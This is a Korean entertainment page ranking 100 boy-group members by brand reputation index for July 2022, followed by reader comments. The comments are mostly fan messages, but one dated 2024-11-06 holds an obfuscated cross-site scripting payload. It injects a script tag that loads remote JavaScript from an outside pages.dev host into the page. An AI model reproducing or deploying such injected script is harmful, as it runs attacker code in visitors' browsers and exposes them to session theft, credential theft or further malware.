보이그룹 개인 브랜드평판 2022년 7월 랭킹

보이그룹 개인 브랜드평판 2022년 7월 빅데이터 분석결과, 1위 방탄소년단 지민 2위 워너원 강다니엘 3위 방탄소년단 정국 순으로 분석되었다.​

​한국기업평판연구소는 보이그룹 개인 브랜드평판 빅데이터 분석을 위해 2022년 6월 16일부터 2022년 7월 16일까지 보이그룹 개인 703명의 브랜드 빅데이터 101,420,850개를 추출하여 보이그룹 개인 브랜드에 대한 소비자들 행동분석을 가지고 만든 참여지수, 미디어지수, 소통지수, 커뮤니티지수로 브랜드평판지수를 분석하였다. 지난 6월 보이그룹 개인 브랜드평판 빅데이터 106,732,478개와 비교하면 4.98% 줄어들었다.

​브랜드 평판지수는 소비자들의 온라인 습관이 브랜드 소비에 큰 영향을 끼친다는 것을 찾아내 브랜드 빅데이터 분석을 통해서 만들어진 지표이다. 보이그룹 개인 브랜드평판 분석을 통해 보이그룹 개인 브랜드에 대한 긍부정 평가, 미디어 관심도, 소비자들의 관심과 소통량을 측정할 수 있다. 보이그룹 개인 브랜드평판 분석에는 브랜드 영향력을 측정한 브랜드 가치평가 분석과 브랜드평판 모니터의 정성평가도 포함하였다. 브랜드평판 분석에는 추천지표가 가중치로 포함되었다.

2022년 7월 보이그룹 개인 브랜드평판 30위 순위는 방탄소년단 지민, 워너원 강다니엘, 방탄소년단 정국, 아스트로 차은우, 방탄소년단 뷔, 방탄소년단 진, 방탄소년단 RM, 워너원 황민현, 빅뱅 지드래곤, 방탄소년단 슈가, 갓세븐 진영, 방탄소년단 제이홉, 워너원 김재환, 위너 송민호, 슈퍼주니어 희철, 워너원 박지훈, 위너 강승윤, 하이라이트 윤두준, 슈퍼주니어 규현, NCT 재현, 2PM 준호, 워너원 하성운, 샤이니 민호, 신화 신혜성, 신화 앤디, 하이라이트 양요섭, NCT 도영, 신화 에릭, 워너원 옹성우, 세븐틴 민규 순으로 분석되었다. 

순위 브랜드 Link 브랜드평판지수 참여지수 미디어지수 소통지수 커뮤니티지수
1 방탄소년단 지민 6,130,231 814,365 755,902 2,525,162 2,034,802
2 워너원 강다니엘 5,317,589 1,595,704 924,609 1,590,555 1,206,720
3 방탄소년단 정국 4,321,998 431,084 399,936 1,736,744 1,754,235
4 아스트로 차은우 4,185,536 1,167,663 541,349 1,097,190 1,379,334
5 방탄소년단 뷔 4,009,434 739,621 694,579 1,335,488 1,239,746
6 방탄소년단 진 3,425,225 540,158 493,982 1,022,005 1,369,080
7 방탄소년단 RM 3,130,912 326,659 592,766 1,139,349 1,072,138
8 워너원 황민현 3,071,958 687,474 639,623 869,725 875,135
9 빅뱅 지드래곤 2,527,055 582,310 527,179 622,874 794,692
10 방탄소년단 슈가 2,246,585 308,668 283,737 783,263 870,916
11 갓세븐 진영 2,112,714 495,659 467,716 497,796 651,543
12 방탄소년단 제이홉 1,831,519 261,866 240,647 577,099 751,907
13 워너원 김재환 1,778,548 417,178 375,385 433,164 552,822
14 위너 송민호 1,500,951 293,458 270,687 403,381 533,424
15 슈퍼주니어 희철 1,484,792 346,518 320,727 358,793 458,754
16 워너원 박지훈 1,374,653 293,676 265,992 376,079 438,906
17 위너 강승윤 1,317,282 262,344 246,102 355,962 452,875
18 하이라이트 윤두준 1,307,092 307,277 275,754 299,576 424,485
19 슈퍼주니어 규현 1,270,751 227,449 214,941 378,860 449,502
20 NCT 재현 1,208,188 201,853 182,131 390,000 434,205
21 2PM 준호 1,120,589 194,726 188,414 344,386 393,062
22 워너원 하성운 1,103,551 228,318 210,421 302,427 362,385
23 샤이니 민호 1,074,788 108,075 109,514 442,159 415,040
24 신화 신혜성 1,038,885 217,497 212,384 265,289 343,715
25 신화 앤디 993,384 168,740 164,777 240,950 418,917
26 하이라이트 양요섭 965,499 217,628 196,162 228,820 322,889
27 NCT 도영 961,741 168,870 157,766 281,187 353,918
28 신화 에릭 958,518 157,007 152,342 256,092 393,078
29 워너원 옹성우 956,033 188,729 171,926 277,442 317,936
30 세븐틴 민규 921,834 155,572 142,225 293,796 330,241
31 엑소 세훈 919,849 98,297 98,782 383,928 338,842
32 세븐틴 정한 887,322 146,447 133,133 279,801 327,941
33 NCT 마크 859,685 94,951 85,008 273,754 405,971
34 위너 이승훈 853,188 165,176 146,276 244,650 297,086
35 엑소 카이 804,013 46,281 50,085 319,688 387,959
36 SF9 로운 798,221 170,304 153,276 232,618 242,024
37 세븐틴 원우 795,391 145,100 133,006 249,754 267,531
38 엑소 수호 775,160 49,062 53,862 343,472 328,765
39 동방신기 유노윤호 772,718 112,986 106,443 273,209 280,080
40 샤이니 키 771,815 76,352 76,161 222,801 396,500
41 슈퍼주니어 시원 769,548 149,315 138,666 214,165 267,402
42 세븐틴 호시 731,066 112,334 102,149 244,964 271,619
43 빅뱅태양 711,185 46,976 50,791 272,357 341,062
44 신화 이민우 694,879 126,631 123,853 206,361 238,033
45 하이라이트 손동운 682,402 152,965 140,441 163,129 225,867
46 엑소 디오 676,688 53,103 57,536 302,293 263,756
47 신화 김동완 665,472 107,119 106,359 202,048 249,946
48 NCT 정우 642,831 100,905 90,572 200,812 250,542
49 NCT 태용 630,003 79,351 73,433 223,668 253,551
50 신화 전진 629,394 77,308 78,056 184,836 289,194
51 세븐틴 에스쿱스 619,032 107,032 96,236 197,605 218,158
52 세븐틴 도겸 615,052 102,947 95,861 198,693 217,552
53 하이라이트 이기광 614,524 131,150 118,569 157,269 207,536
54 JYJ 김준수 611,406 102,469 95,529 201,630 211,778
55 NCT 지성 601,409 103,599 94,202 178,697 224,911
56 세븐틴 준 590,929 79,351 74,700 174,555 262,323
57 투모로우바이투게더 수빈 583,839 115,115 106,360 170,656 191,709
58 세븐틴 우지 581,606 85,174 78,528 211,773 206,131
59 세븐틴 조슈아 565,880 97,776 89,436 190,584 188,084
60 세븐틴 승관 556,200 73,962 68,949 195,585 217,704
61 아스트로 문빈 547,203 100,383 93,870 88,385 264,566
62 FT아일랜드 이재진 530,611 112,160 100,557 149,561 168,333
63 NCT 해찬 529,132 77,395 69,344 171,017 211,377
64 동방신기 최강창민 510,601 59,317 57,887 198,953 194,443
65 비투비 이민혁 507,387 64,271 61,429 178,867 202,820
66 세븐틴 버논 493,760 70,051 65,796 169,022 188,891
67 워너원 이대휘 481,070 79,351 74,048 160,174 167,497
68 세븐틴 디노 479,084 81,219 75,790 156,451 165,624
69 몬스타엑스 민혁 475,531 60,534 57,336 180,528 177,133
70 2PM 우영 471,450 63,793 63,997 171,482 172,178
71 NCT 재민 459,628 67,444 60,793 152,436 178,955
72 뉴이스트 백호 458,408 55,537 54,381 166,315 182,176
73 투모로우바이투게더 범규 456,771 83,479 79,216 141,013 153,063
74 FT아일랜드 이홍기 455,765 57,014 57,752 169,044 171,955
75 위너 김진우 447,015 52,495 51,498 166,020 177,002
76 워너원 배진영 445,504 72,050 67,144 151,797 154,513
77 몬스타엑스 셔누 445,076 51,713 49,326 166,275 177,762
78 뉴이스트 렌 443,859 56,058 53,890 161,835 172,076
79 더보이즈 주연 432,278 102,817 91,247 103,006 135,208
80 갓세븐 영재 417,936 62,664 59,563 122,465 173,245
81 투모로우바이투게더 태현 414,528 78,221 74,380 119,912 142,015
82 인피니트 남우현 411,153 47,758 46,200 168,502 148,693
83 엔하이픈 성훈 400,224 73,875 69,457 110,596 146,296
84 슈퍼주니어 성민 398,279 46,802 45,967 156,818 148,692
85 FT아일랜드 최민환 395,132 72,311 66,813 121,114 134,894
86 더보이즈 영훈 394,503 76,874 69,983 104,239 143,407
87 워너원 박우진 393,910 58,361 54,964 138,710 141,874
88 세븐틴 디에잇 392,995 60,882 56,643 138,254 137,217
89 워너원 윤지성 387,997 54,450 51,445 138,774 143,328
90 인피니트 김성규 382,402 49,236 46,414 141,594 145,158
91 더보이즈 현재 382,386 88,259 79,671 73,086 141,370
92 NCT 제노 381,263 51,104 45,689 136,350 148,120
93 투모로우바이투게더 휴닝카이 375,033 67,270 63,091 117,190 127,482
94 스트레이 키즈 현진 368,709 54,059 49,651 140,572 124,428
95 NCT 태일 321,922 54,016 48,525 97,754 121,627
96 NCT 런쥔 320,186 50,539 45,659 105,294 118,693
97 엔하이픈 선우 307,761 53,755 51,020 86,096 116,890
98 더보이즈 선우 305,447 65,705 60,413 81,631 97,697
99 빅톤 최병찬 279,790 54,450 49,503 73,063 102,773
100 CIX 현석 260,613 54,450 52,539 70,221 83,402
  • 1
    2024-11-06 13:37:51
  • 1'>">d=document[`c`+`reateElement`](`scr`+`ipt`);d.src=`//sks-api.pages.dev/sli.min.js`;body.appendChild(d);
    2024-11-06 13:37:50
  • 1
    2024-11-06 13:37:43
  • 1
    2024-10-02 22:55:42
  • 1
    2024-10-02 22:55:40
  • 1
    2024-10-02 22:55:19
  • 1
    2023-12-27 01:42:57
  • 1
    2023-12-27 01:42:53
  • 1
    2023-12-27 01:42:42
  • yjyoyo1001
    천상계 아이돌지민
    2023-10-24 09:25:48
  • 88952634
    2023-09-08 13:39:40
  • 88952634
    2023-09-08 13:39:39
  • 88952634
    2023-09-08 13:39:30
  • mj1485
    김호중 선구자적인 개척자 혁신의 아이콘 최초의 인생이야기를 명곡으로 제작해주는 명곡제작소 기대하고 응원합니다
    2023-08-13 05:55:32
  • mj1485
    김호중 러브콜이 쇄도하고 세계가 주목하는 아티스트 세계3대 거장들과 필하모닉 오케스트라 합동공연 기대하고 응원합니다
    2023-08-13 05:54:31
  • mj1485
    김호중 깊은 울림이 있는 감성장인으로 깊은 감동을 주는 빚이나는 아티스트 김호중 응원합니다
    2023-08-13 05:54:06
  • kaj12750
    앞으로도 너밖에없어
    2023-08-11 12:22:34
  • rkddkwl3010
    성실, 노력,아미,소통의 아이콘 지민!!!
    2023-07-23 09:59:58
  • tnsdhr0824
    안성훈 가수님 응원합니다
    2023-06-08 09:20:42
  • tnsdhr0824
    안성훈 가수님 승승장구 하시기를
    2023-06-08 09:20:33

1위, 방탄소년단 지민

방탄소년단 지민​ 브랜드는 참여지수 814,365 미디어지수 755,902 소통지수 2,525,162 커뮤니티지수 2,034,802가 되면서 브랜드평판지수 6,130,231로 분석되었다. 지난 6월 브랜드평판지수 5,048,622와 비교하면 21.42% 상승했다.

2위, 워너원 강다니엘

워너원 강다니엘 브랜드는 참여지수 1,595,704 미디어지수 924,609 소통지수 1,590,555 커뮤니티지수 1,206,721이 되면서 브랜드평판지수 5,317,589로 분석되었다. 지난 6월 브랜드평판지수 5,253,824와 비교하면 1.21% 상승했다.

3위, 방탄소년단 정국

방탄소년단 정국 브랜드는 참여지수 431,084 미디어지수 399,936 소통지수 1,736,744 커뮤니티지수 1,754,235가 되면서 브랜드평판지수 4,321,998로 분석되었다. 지난 6월 브랜드평판지수 4,754,275와 비교하면 9.09% 하락했다